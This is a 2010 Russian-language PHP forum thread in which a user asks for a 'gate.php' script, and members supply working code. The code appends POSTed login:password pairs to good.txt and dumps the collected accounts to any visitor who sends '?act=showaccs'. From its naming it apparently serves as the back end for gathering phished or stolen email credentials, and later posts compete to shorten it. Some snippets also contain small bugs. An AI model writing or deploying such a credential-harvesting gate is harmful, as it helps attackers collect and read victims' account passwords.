yнужен скрипт [PHP]

Discussion in 'PHP' started by RedFern.89, 25 Feb 2010.

  1. RedFern.89

    RedFern.89 Member

    Joined:
    20 Jan 2010
    Messages:
    557
    Likes Received:
    45
    Reputations:
    0
    например у меня на сервере лежит файл Accounts.txt bи есть файл gate.php


    файл Accounts.txt cсодержит данные следующего типа:
    Code:
    mail:password
    
    Задача. как сгенерировать html-страницу, с содержанием файла, если я подам GET-запрос на сервер следующим образом: http://domainname.com/gate.php?act=showaccs

    ???
     
  2. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    800
    Likes Received:
    145
    Reputations:
    73
    #1
    PHP:
    <?php
    if(isset($_GET['act']) && $_GET['act'] == 'showaccs') {
    $file str_replace("\n",'<br />'file_get_contents('accounts.txt'));
    echo 
    $file;
    }
    ?>
    #2
    PHP:
    <?php
    if(isset($_GET['act']) && $_GET['act'] == 'showaccs') {
    $file file("accounts.txt");
    foreach(
    $file as $line) {
    echo 
    $line."<br />";
    }
    }
    ?>
     
    1 person likes this.
  3. RedFern.89

    RedFern.89 Member

    Joined:
    20 Jan 2010
    Messages:
    557
    Likes Received:
    45
    Reputations:
    0
    вот еще вопрос. Даже при пустом запросе, lдобавляются знаки : в файл. Как этого избежать?


    PHP:
    <?php
    error_reporting
    (0);
    $accs 'good.txt';
    $good fopen($accs,"a+");
    fwrite($good"$_POST[login]:$_POST[password]\n");
    fclose($good);
    fclose($bad);
    if(isset(
    $_GET['act']) && $_GET['act'] == 'show') {
    $file str_replace("\n",'<br />'file_get_contents('good.txt'));
    echo 
    $file;

    ?>
     
  4. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    800
    Likes Received:
    145
    Reputations:
    73
    Поставь вначале проверку.
    PHP:
    if(!empty($_POST['login']) && !empty($_POST['password'])) ...
    Но будет пропускать пробелы.
     
  5. RedFern.89

    RedFern.89 Member

    Joined:
    20 Jan 2010
    Messages:
    557
    Likes Received:
    45
    Reputations:
    0
    а теперь как бы все это совместить?))
     
  6. Dark_cracker

    Dark_cracker Member

    Joined:
    29 May 2009
    Messages:
    73
    Likes Received:
    8
    Reputations:
    1
    Вот так )
    PHP:
    <?php 
    error_reporting
    (0); 
    if (!empty(
    $_POST[login]) or !empty($_POST[password])){
    $accs 'good.txt'
    $good fopen($accs,"a+"); 
    fwrite($good"$_POST[login]:$_POST[password]\n"); 
    fclose($good); 
    fclose($bad); 
    if(isset(
    $_GET['act']) && $_GET['act'] == 'show') { 
    $file str_replace("\n",'<br />'file_get_contents('good.txt')); 
    echo 
    $file
    }  
    }
    ?>
    ток поидее перенос строки будет \r\n а у тебя прост \n
     
  7. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Омг...
    PHP:
    if(@$_GET['act']=='showaccs')
    echo 
    nl2br(file_get_contents('accounts.txt'));
     
  8. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    А не проще
    PHP:
    <?php
    if ($_POST[login] && $_POST[password])
    {
         ...
    }
     
  9. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    800
    Likes Received:
    145
    Reputations:
    73
    омг
    PHP:
    echo @$_GET['act']=='showaccs' nl2br(file_get_contents('pppp.txt'))  : '' ;
     
  10. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Омг
    PHP:
    echo @$_GET['act']=='showaccs' nl2br(file_get_contents('pppp.txt'))  : 0;
     
  11. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    800
    Likes Received:
    145
    Reputations:
    73
    Mailbrush А в чем разница от Null и 0 ?
    2 m0Hze ну mailbrush просто показал, что код можно значительно сократить =\
    О производительности и функциональности тут не дискутировали
     
  12. dr.Web

    dr.Web Member

    Joined:
    2 Feb 2009
    Messages:
    7
    Likes Received:
    22
    Reputations:
    10
    опять без меня пиписьками мериетесь?
    соревнования кто лучше пхп знает? xDD